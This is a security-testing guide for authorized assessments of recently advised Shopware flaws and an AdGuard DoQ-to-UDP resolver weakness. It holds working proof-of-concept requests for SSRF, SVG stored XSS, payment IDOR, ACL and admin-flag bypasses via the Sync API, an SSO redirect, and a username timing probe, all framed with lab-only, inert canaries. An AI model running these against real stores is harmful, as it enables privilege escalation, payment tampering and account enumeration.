Skip to content

Shopware Store API/admin/media/sync boundaries and AdGuard DoQ source-port oracle

Operator value

GitHub Advisory Database published a late June 4, 2026 batch with durable lessons for authorized e-commerce and DNS-resolver assessments:

The reusable pattern: compare sibling routes and privilege models, then prove whether attacker-controlled input crosses into a more trusted subsystem: server-side fetches, inline media rendering, order/payment state, admin-role writes, bulk-sync entity writes, password-recovery secrets, trusted-origin redirects, or resolver backend entropy.

Affected surfaces

Surface Affected versions Fixed version noted by advisory Boundary to test
Shopware media external-link SSRF shopware/core or shopware/platform >= 6.7.0.0 < 6.7.10.1 release tag v6.7.10.1 referenced admin media URL to server-side HEAD request target
Shopware SVG upload XSS shopware/core or shopware/platform < 6.6.10.18 and >= 6.7.0.0 < 6.7.10.1 release tags v6.6.10.18, v6.7.10.1 referenced media upload to same-origin inline SVG rendering
Shopware Store API payment IDOR shopware/core or shopware/platform < 6.6.10.18 and >= 6.7.0.0 < 6.7.10.1 release tags v6.6.10.18, v6.7.10.1 referenced customer or guest context to foreign order payment flow
Shopware Admin API order transition ACL bypass shopware/core or shopware/platform < 6.6.10.18 and >= 6.7.0.0 < 6.7.10.1 release tags v6.6.10.18, v6.7.10.1 referenced low-privileged admin token to order-state mutation action
Shopware Sync API integration admin flag bypass shopware/core or shopware/platform < 6.6.10.18 and >= 6.7.0.0 < 6.7.10.1 release tags v6.6.10.18, v6.7.10.1 referenced integration:create token to privileged integration entity write
Shopware SSO Referer redirect shopware/core or shopware/platform >= 6.7.3.0 < 6.7.10.1 release tag v6.7.10.1 referenced unauthenticated request metadata to /api/oauth/ redirect
Shopware admin flag and recovery hash issues shopware/core or shopware/platform < 6.6.10.18 and >= 6.7.0.0 < 6.7.10.1 release tags v6.6.10.18, v6.7.10.1 referenced narrow admin ACLs to full-admin or recovery-token capability
AdGuard Home / dnsproxy DoQ-to-UDP forwarding github.com/AdguardTeam/AdGuardHome <= 0.107.74, github.com/AdguardTeam/dnsproxy < 0.81.3 no patched version listed in GHSA version ranges at publication time; dnsproxy fix commit referenced client DoQ query to backend UDP transaction ID/source-port behavior

Recon workflow

  1. Confirm scope explicitly permits e-commerce state changes, admin APIs, SSO redirect testing, media rendering, payment-flow testing, and DNS resolver oracle work. Use lab stores, test orders, test payment methods, and disposable resolver instances unless the program has written production-safe rules.
  2. Identify Shopware and AdGuard versions from lockfiles, container labels, admin banners, package metadata, or SBOMs:
grep -R "shopware/core\|shopware/platform\|AdguardTeam/AdGuardHome\|AdguardTeam/dnsproxy" \
  composer.lock go.mod go.sum package-lock.json 2>/dev/null
  1. For Shopware, map effective permissions before testing each route. Strong findings compare a denied baseline route with a successful action route under the same low-privileged token.
  2. For payment and order tests, create two disposable orders under separate test identities. Do not use real customer orders, real shipment workflows, or live payment captures.
  3. For AdGuard, validate only against an owned resolver or an explicitly authorized test endpoint. The reportable issue is entropy/oracle behavior on the DoQ listener forwarding to a UDP upstream, not generic DNS availability.

Safe validation patterns

Use an internal callback listener you own inside the same lab network. Keep the target harmless and avoid cloud metadata endpoints unless explicitly authorized.

curl -i -s -X POST 'https://shopware.example.test/api/_action/media/external-link' \
  -H 'Authorization: Bearer LOW_PRIV_ADMIN_TOKEN' \
  -H 'Content-Type: application/json' \
  --data '{"url":"http://127.0.0.1:8080/skillz-head-canary","mediaId":"00000000000000000000000000000000"}'

Evidence should show the low-privileged admin role, the target URL, the outbound HEAD request observed by the owned listener, and whether sibling upload paths reject the same private/reserved target.

Shopware SVG stored XSS boundary

Use a non-exfiltrating SVG canary in a test media library:

<svg xmlns="http://www.w3.org/2000/svg" width="220" height="40" onload="console.log('skillz-svg-canary')">
  <text x="10" y="25">skillz svg canary</text>
</svg>

A strong report captures upload acceptance, the served media URL, response headers, and browser evidence from a test account showing script-capable inline SVG interpretation. Do not steal cookies, tokens, or admin data.

Shopware Store API foreign order payment trigger

Create ORDER_A for customer A and test from customer B or an unauthenticated guest context. Use a disabled/test payment method and stop at initiation evidence.

curl -i -s 'https://shopware.example.test/store-api/handle-payment' \
  -H 'sw-context-token: CUSTOMER_B_CONTEXT' \
  -H 'Content-Type: application/json' \
  --data '{"orderId":"ORDER_A_UUID","finishUrl":"https://example.invalid/finish","errorUrl":"https://example.invalid/error"}'

Report only if the server accepts, redirects, or mutates payment state for the foreign order without ownership checks or guest-order verification such as deepLinkCode.

Shopware Admin API order-state ACL bypass

Compare a normal update denial with a transition-action success under the same low-privileged admin token:

# Baseline: should be denied for an account without order:update.
curl -i -s -X PATCH 'https://shopware.example.test/api/order/ORDER_UUID' \
  -H 'Authorization: Bearer LOW_PRIV_ADMIN_TOKEN' \
  -H 'Content-Type: application/json' \
  --data '{"customFields":{"skillz_canary":"baseline"}}'

# Candidate bypass: dedicated transition action.
curl -i -s -X POST 'https://shopware.example.test/api/_action/order/ORDER_UUID/state/process' \
  -H 'Authorization: Bearer LOW_PRIV_ADMIN_TOKEN' \
  -H 'Content-Type: application/json' \
  --data '{}'

Use a disposable order and capture before/after state from an authorized admin or database fixture. Do not transition production orders.

Shopware Sync API integration admin flag bypass

Use a lab low-privileged admin API user that has integration:create but does not have administrator capabilities. First prove the dedicated integration endpoint blocks admin: true, then test the Sync API path with a disposable integration name. Do not leave privileged test integrations behind.

# Baseline: dedicated controller should reject admin integration creation.
curl -i -s -X POST 'https://shopware.example.test/api/integration' \
  -H 'Authorization: Bearer LOW_PRIV_ADMIN_TOKEN' \
  -H 'Content-Type: application/json' \
  --data '{"label":"skillz-baseline","admin":true}'

# Candidate bypass: Sync API entity write reaches EntityWriter directly.
curl -i -s -X POST 'https://shopware.example.test/api/_action/sync' \
  -H 'Authorization: Bearer LOW_PRIV_ADMIN_TOKEN' \
  -H 'Content-Type: application/json' \
  --data '{"write-integration":{"entity":"integration","action":"upsert","payload":[{"id":"00000000000000000000000000000001","label":"skillz-sync-canary","admin":true}]}}'

Evidence should include the token's limited ACL set, the baseline denial, the Sync API response, and a post-write read or admin-token behavior check proving the created integration is administrator-capable. Redact generated access keys and delete the canary integration during cleanup.

Shopware SSO Referer redirect

Use a controlled destination and avoid credential collection:

curl -i -s 'https://shopware.example.test/api/oauth/sso/auth' \
  -H 'Referer: https://example.invalid/skillz-redirect-canary'

Evidence should include Location, meta refresh body if present, scheme handling, and whether same-origin restrictions are absent.

Shopware admin flag and recovery-hash boundaries

Use only a lab low-privileged admin account and a disposable victim admin account.

  • For admin: true, prove that the low-privileged token cannot perform existing admin-only actions, then create or update a disposable user with an admin boolean and show the resulting role change.
  • For recovery hashes, trigger recovery for the disposable victim, query only the test user-recovery entity, and demonstrate that the hash is readable by an account with only user_recovery:read. Stop before taking over a real account.

Shopware username timing enrichment

Treat this as a secondary signal, not a standalone critical report. Use repeated samples, randomize candidate order, and include network jitter baselines:

python3 - <<'PY'
import json, random, statistics, time, urllib.request
url = 'https://shopware.example.test/api/oauth/token'
candidates = ['known-test-admin@example.invalid', 'missing-skillz-canary@example.invalid']
results = {c: [] for c in candidates}
for _ in range(30):
    random.shuffle(candidates)
    for user in candidates:
        body = json.dumps({'grant_type':'password','client_id':'administration','username':user,'password':'wrong-skillz-canary'}).encode()
        req = urllib.request.Request(url, data=body, headers={'Content-Type':'application/json'}, method='POST')
        t0 = time.perf_counter()
        try: urllib.request.urlopen(req, timeout=5).read()
        except Exception: pass
        results[user].append(time.perf_counter() - t0)
for user, vals in results.items():
    print(user, 'median=', round(statistics.median(vals), 4), 'samples=', len(vals))
PY

Include statistical separation and rate limits. Do not brute-force broad username lists.

AdGuard DoQ-to-UDP resolver oracle

Build this in a local lab with a DoQ listener forwarding to a UDP upstream you control. The safe proof is passive observation of backend DNS IDs and source ports plus a client-visible oracle differential; do not poison public DNS caches.

  1. Configure AdGuard Home or dnsproxy to accept DoQ from the client and forward to a UDP listener you own.
  2. Send repeated unique subdomain queries from the DoQ client.
  3. Capture backend UDP packets and record whether transaction IDs collapse to a constant value and whether quoted-port ICMP behavior distinguishes the active backend source port.
  4. Report repeatability, product version, listener/upstream configuration, packet captures with unrelated traffic removed, and why the test stayed inside owned infrastructure.

Evidence to capture

  • Advisory ID, exact package/version evidence, deployment path, and enabled feature or route.
  • Role or token capability matrix: what the account should and should not be able to do.
  • For integration tests: generated integration IDs, proof of admin capability, and cleanup evidence with access keys redacted.
  • Minimal canary request/response pairs with secrets, session tokens, order identifiers, and customer data redacted.
  • For browser findings: DOM/console evidence from a test account only.
  • For order/payment findings: disposable order IDs, before/after state, and proof that no real payment, shipment, or customer workflow was touched.
  • For DNS findings: lab topology, packet captures scoped to the test, query IDs/source ports, and repeatability notes.

Report framing

Frame these as boundary failures, not vulnerable-version screenshots:

  • Shopware media: one URL-handling route lacks the network-target validation applied elsewhere.
  • Shopware SVG: an uploaded media file crosses into same-origin active content.
  • Shopware Store/Admin APIs: object ownership and ACL checks differ between normal CRUD routes and dedicated action routes.
  • Shopware identity/sync: narrow administrative permissions expose secrets or write privileged fields through alternate entity-write paths.
  • Shopware SSO: request metadata becomes a trusted redirect target under /api/oauth/.
  • AdGuard: encrypted-client ingress loses backend UDP entropy when forwarded to a plain UDP upstream.

Keep all payloads inert and demonstrate impact in a lab or explicit test account.

Sources